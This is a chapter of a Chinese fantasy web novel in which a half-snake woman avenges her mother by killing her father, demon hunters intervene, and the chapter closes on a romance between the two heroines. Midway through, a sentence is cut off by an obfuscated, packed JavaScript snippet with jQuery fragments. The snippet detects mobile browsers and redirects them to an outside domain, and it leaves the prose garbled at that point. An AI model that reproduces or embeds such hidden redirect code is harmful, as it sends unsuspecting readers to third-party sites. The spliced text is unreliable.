21. 第21章 焚情
作品:《忘川风华录》 "妖孽!休得在此胡言乱语!"余蚺的声音因为恐惧而变得尖锐刺耳,他瞪着血红的双眼,指着那个与余双一模一样的女子,歇斯底里地咆哮道,"我从未见过你这个怪物!你为何要冒充我女儿的模样?"
他的身体因为极度的恐惧而剧烈颤抖着,手中的雄黄粉早已撒尽,此刻的他就像一只被逼入绝境的野兽,只能用最后的力气发出无力的咆哮。
"二位仙师!求求你们!"余蚺转身向沈慕瑶和唐倾虹哀求道,声音中带着绝望的哭腔,"快将这两个妖物一同收了吧!她们一定是来报复我的!一定是那个死去的蛇妖派来的!"
说着,他浑身颤抖地向沈慕瑶的方向跑去,希望能在这两位除妖师的保护下逃过一劫。
然而,就在他刚刚跑出几步的时候。
"想逃?"那女子的声音如寒冰般冷冽,带着刺骨的杀意。
只见她的下半身那原本纤细的双腿瞬间融合在一起,化作一条粗壮有力的蛇尾。那蛇尾宛如树干般粗细,覆盖着青黑色的鳞片,在月光下闪烁着冰冷的光泽。
"嘶。"
伴随着一声令人毛骨悚然的嘶鸣,那条巨大的蛇尾如闪电般向前伸展,瞬间就将还在奔跑中的余蚺紧紧缠住。
"啊,救命。"余蚺发出凄厉的惨叫,但那蛇尾的力量实在太过强大,如同沾了水的牛皮筋一般,越缠越紧。
"咔嚓——咔嚓——"
余蚺的肋骨在巨大的压力下开始发出令人心悸的断裂声,他的脸色迅速变成了青紫色,眼球开始外凸,呼吸变得越来越困难。
"当年你杀死我母亲时,"那女子居高临下地看着被自己缠住的余蚺,声音中没有丝毫的怜悯,只有刻骨的仇恨,"她是不是也像你现在这样,拼命地挣扎,拼命地求饶?"
就在余蚺即将窒息而死的时候,那女子突然松开了蛇尾,然后用力一甩。
"轰!"
余蚺的身体如同破布娃娃一般被狠狠地甩了出去,重重地撞在一旁那棵粗壮的香樟树上。巨大的冲击力让这棵百年老树都为之颤抖,树干上出现了一道深深的裂痕。
"噗。"
余蚺从树下滑落,一口鲜血喷涌而出,在月光下显得格外刺眼。他的身体蜷缩在地上,如同一只垂死的虫子,再也没有了刚才的嚣张气焰。
"原来我昨夜在林中所见的妖物就是你!"唐倾虹这时才恍然大悟,连忙从怀中取出几道符咒,迅速在余蚺周围布下一道防护结界。
那女子冷冷地看着唐倾虹的动作,并没有阻止,只是嘴角勾起一丝嘲讽的笑容。
"何为妖?何为人?"她质问的声音响起,每一个字都如利刃般刺向在场每一个人的心脏,"余蚺杀妻弃女,残害无辜,他的所作所为与妖邪又有何异?甚至比妖邪更加可恶!"
"你究竟是谁?"
余双终于从刚才生父弑母的巨大打击中回过神来,但眼前的景象让她更加震惊。一个与自己长得一模一样的女子,下半身却是蛇尾,正用充满仇恨的眼神看着自己的父亲。
这一切都太过荒诞,让她一时间难以接受。
"我叫余又。"那女子缓缓转过头来,看向余双,眼中的仇恨瞬间消散,取而代之的是一种复杂的情感——有怜悯,有心疼,还有一种血浓于水的亲情,"我是你的妹妹。"
说着,她的身体开始向上攀升,蛇尾盘绕在那棵香樟树的树干上,让她能够居高临下地俯视着在场的所有人。
"当年母亲生下我之后身体虚弱,以至使我未化为人形,而那个畜生。"她用充满恶毒的眼神瞥了一眼地上的余蚺,"他害怕我会像母亲一样成为妖怪,所以就趁母亲刚刚产下我之时,偷偷地把我丢弃在了深山老林里,只留下了你这个看起来更像人类的姐姐。"
"不……这不可能。"余双摇着头,泪水再次涌出眼眶。
"可是他万万没有想到,"余又的声音变得越来越冷,"我不但没有死在深山里,反而觉醒了母亲的血脉,成为一只半妖,而今夜,便是他的死期。"
余又的眼神瞬间变得阴冷如冰,那双原本还带着几分人性温度的眸子,此刻彻底被仇恨的烈火所吞噬。她仿佛真的化身为一条嗜血的毒蛇,眼中闪烁着令人胆寒的杀意。
"既然你不肯自己去死,那我就送你一程!"
她的声音变得嘶哑而冰冷,每一个字都如同淬了毒的利刃。只见她那条粗壮的蛇尾开始在香樟树的树干上快速缠绕,一圈、两圈、三圈。
树干在巨大的压力下发出"咔嚓咔嚓"的断裂声,树皮被挤压得四处飞溅,整棵大树都在她的缠绕下颤抖不已。
"去死吧!"
伴随着一声如雷贯耳的怒吼,余又腰间猛然发力,那条蛇尾被压缩到极限后突然释放,带着毁天灭地的威势向着地上的余蚺狠狠砸去。
"余姑娘,还请你冷静一下!"
沈慕瑶的身形如闪电般向前一跃,手中的长剑在月光下划出一道银色的弧线。剑式变换之间,一股玄妙的力量从剑身上涌出,瞬间在余蚺周围形成了一道透明的空间屏障。
"就算余家主有千般不是,万般罪孽,他终究是你的生身父亲!"沈慕瑶的声音中带着几分苦口婆心的劝诫,"他所犯下的罪行,自有缉妖司来定夺!"
"轰!"
巨大的撞击声如雷鸣般响彻夜空,余又那条粗如水桶的蛇尾重重地撞在了沈慕瑶布下的空间屏障上。
虽然那道屏障成功地挡住了这致命的一击,但两股力量相撞产生的恐怖余威依然如狂风暴雨般向四周扩散。
"噗。"
余蚺再次喷出一口鲜血,他的身体在这股余威的冲击下如断线的风筝般飞了出去,重重地摔在十几米外的地面上。他的脸色变得惨白如纸,身上的骨头不知断了多少根,整个人奄奄一息,如同风中残烛。
"父亲?"余又冷笑一声,声音中充满了刻骨的嘲讽,"他配吗?一个杀妻弃女的畜生,一个连禽兽都不如的恶魔,也配称作父亲?"
她的蛇尾在空中摇摆不定,每一次挥动都带起阵阵狂风。
"你以为你娘便是什么好东西?"余蚺躺在血泊中,却依然发出阴森的冷笑,"若不是她当初勾引我,我何至于犯下如此大错?如今又生下你们两个孽畜来祸害人间!"
他的眼中闪烁着恶毒的光芒,即便在生死关头,依然不忘诋毁已死的妻子:"她就是个祸水!一个彻头彻尾的妖精!我杀了她是为了让她早日解脱!"
"住口!"
余又的怒吼如雷霆炸响,震得整个夜空都在颤抖。她的双眼瞬间变得血红如火,两行血泪从眼角缓缓流下,在月光下显得格外凄厉。
"死到临头仍不知悔改,还要诬陷我娘!"她的声音已经完全变了调,带着野兽般的嘶吼,"你这个畜生!连死都不配!"
话音刚落,余又的身体化作一条长达数十米的巨蟒。那巨蟒通体乌黑,鳞片如铁甲般坚硬,在月光下闪烁着冰冷的金属光泽。蛇头高高昂起,如同一座小山,血红的双眼如两盏地狱之灯,散发着令人胆寒的杀意。
"倾虹!"沈慕瑶见势不妙,立即转头对唐倾虹喊道,"你保护好余家主与余姑娘!"
说着,她双手结印,一道强大的灵力从她体内涌出,瞬间形成一个防护结界,将余蚺和瘫坐在地的余双牢牢保护在内。
"天初三式——绝炁逆空!"
只要她的灵力不枯竭,没人可以破开绝炁逆空。
做完这一切,沈慕瑶缓缓抽出了她的佩剑玉倾寒。
"既然无法说服你,那我便只能将你捉拿归案,与余蚺一同送往缉妖司接受审判。"沈慕瑶的声音清冷如冰。
她轻抚玉倾寒的剑身"天初四式——黯然销魂。"
话音刚落,沈慕瑶的身体开始散发出道道阴气。
"去!"
随着沈慕瑶一声轻喝,那阴气如有生命般向四周扩散而去。
所过之处,院墙轰然倒塌,化作齑粉;花草树木瞬间枯萎,失去了所有的生机。
更可怕的是,这股力量不仅能摧毁物质,更能影响精神。凡是被阴气触及的生灵,都会产生一种万念俱灰的绝望感,仿佛世间再无任何值得留恋的东西。
此剑法不仅能摧毁敌人的□□,更能击溃敌人的意志,让人在绝望中走向毁灭。
余双感受到这股恐怖的力量,也不禁发出一声惊恐的嘶鸣。但仇恨的火焰已经彻底吞噬了她的理智,她不退反进,张开血盆大口,向着沈慕瑶扑咬而去。
沈慕瑶低喝一声,身形如烟似幻,正欲避过巨蟒雷霆万钧的扑击。然而就在这此时,唐倾虹这个莽撞又天真的小笨蛋,竟毫无预兆地踏出绝炁逆空所构筑的防御结界,纤手轻扬,数道灵光闪烁的符咒破空而出,精准击中巨蟒额间鳞甲交接之处。
"轰——"符咒爆裂,金光四溅。巨蟒顿时发出震耳欲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16413250|184195||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聋的怒吼,双瞳赤红如血,庞大的身躯猛然调转方向,直扑唐倾虹而去,腥风扑面,杀意滔天。
"谁让你擅自出来的?"沈慕瑶心头一紧,眼中闪过一丝焦急与怒意,毫不犹豫转身疾掠,剑光如电,一记凌厉无匹的剑气狠狠斩在巨蟒七寸要害。只听"砰"的一声闷响,那庞然巨物竟被硬生生劈得偏移轨迹,重重撞向山岩,碎石纷飞。
巨蟒哀鸣一声,妖力溃散,扭曲的躯体迅速褪去鳞甲,变回余又的模样。她单膝跪地,唇角溢出殷红鲜血,眸中满是愤恨与不甘,死死盯着沈慕瑶,仿佛要将她的身影刻入魂魄。
"余姑娘,到此为止了。"沈慕瑶持剑而立,声音清冷如霜,目光落在剑尖缓缓滴落的血珠上,那一抹猩红映着残阳,宛如暮色中最凄艳的花。
然而,余又嘴角忽地勾起一抹诡异笑意,指尖一划,鲜血淋漓。她以指为笔,以血为墨,在自己光洁的额前缓缓画下一道符印,口中低吟:"五蕴皆空,双生同灵。"
刹那间,天地灵气骤然翻涌,一股阴寒诡谲的气息自她体内升腾而起,仿佛有另一个灵魂,正在余双体内悄然苏醒。
只见余双眼眸赤红如血,瞳孔深处似有烈焰翻腾,而余又的双目却骤然化为黑色。
"余家主,快逃!"当沈慕瑶察觉到她的意图,心头一震,急忙出声提醒,然而一切已然迟了。
余蚺仿佛未曾听清沈慕瑶的话语,怔怔地僵立原地;又或许他早已听清,却因心神剧震而无力回应。
余双一掌穿透余蚺的胸膛,鲜血喷涌而出,染红了半边衣襟。余蚺踉跄转身,眼中满是震惊与难以置信,仿佛命运在此刻骤然崩塌。他嘴唇微颤,似乎还想说些什么,终是未能发出声音。
"心愿既已了却,沈姑娘可将我送往缉妖司。只是余双无辜牵连其中,还望高抬贵手,莫要为难于她。"随着余又将余蚺斩杀,血光迸现之际,同灵秘法终于被破解。余双双目重焕清明,终于恢复成原本那个清秀灵动的少女。
沈慕瑶手持捆妖索,将余又牢牢束缚。她缓步而过唐倾虹身侧,两人目光在空中短暂交汇。唐倾虹神色微颤,眼中闪过一丝难以掩饰的心虚,慌忙垂下眼帘,避开沈慕瑶的目光。
沈慕瑶轻轻一叹,眉字间掠过一丝难以言说的怅然,终究什么也没说出口,只是默默转身,携着余双,悄然隐没在夕阳的余韵之中。
沈慕瑶将余又交付给缉妖司后,脑海中反复回溯着整件事情的始末。余双是否早已知晓余又的存在?还有唐倾虹那么爱财惜命之人为何一反常态,主动踏出绝炁逆空的范围,到底是为了帮我,还是为了?
沈慕瑶不愿再多纠缠于纷乱思绪,仰头将杯中酒水一饮而尽,烈酒滚入喉间,仿佛要将脑海中盘踞的杂念尽数焚尽、冲散。
子时,万籁俱寂,夜色如墨般浓重。唐倾虹心中牵挂着沈慕瑶,辗转难眠,迟迟未曾安歇。忽然,她隐约听见屋檐下传来一阵轻微而凌乱的脚步声,似有人踉跄而来。
她缓缓起身,轻轻推开房门,只见醉意朦胧的沈慕瑶便如一片飘落的花瓣,顺势倾身跌入她的怀中,温热的呼吸拂过颈间,带着几分迷离与依恋。
"慕瑶,你怎么了?为什么喝这么多酒?"唐倾虹眉字间满是担忧,轻柔地将神情恍惚的沈慕瑶扶到床上。
"因为你。"沈慕瑶凝视着唐倾虹的面容目光微颤,仿佛被某种深藏的情绪击中,心头泛起一阵恍惚,连呼吸都不自觉地轻缓下来。
"我怎么了?"唐倾虹微微歪头,眼中闪过一丝茫然与无辜。
"你竟为了余姑娘,不惜骗我。"沈慕瑶低声说道。
"为生者权,为死者言,亦是我成为捉妖师的初衷,我并非为余姑娘骗你,只是若如此轻易放过余蚺,那岂不是,那岂不是……"
"世间公允,自有世人定论,你既不信缉妖司,难道也不愿相信我吗?"
"我,我……"
唐倾虹那吞吞吐吐、欲言又止的模样,早已将沈慕瑶仅存的耐心消磨殆尽。
沈慕瑶此时眸光微暗,蓦然将唐倾虹拥入怀中。带着淡淡酒香的温热唇齿轻轻咬在她的唇角。
"嘶,沈慕瑶,你属狗的吗?怎么又咬我?"唐倾虹倒吸一口凉气,声音中带着几分委屈和无奈,这已经不是第一次遭受这种"待遇"了。
"唔。"
在唇齿交融的瞬间,那个曾经萦绕在沈慕瑶心头的问题,答案早已不再重要。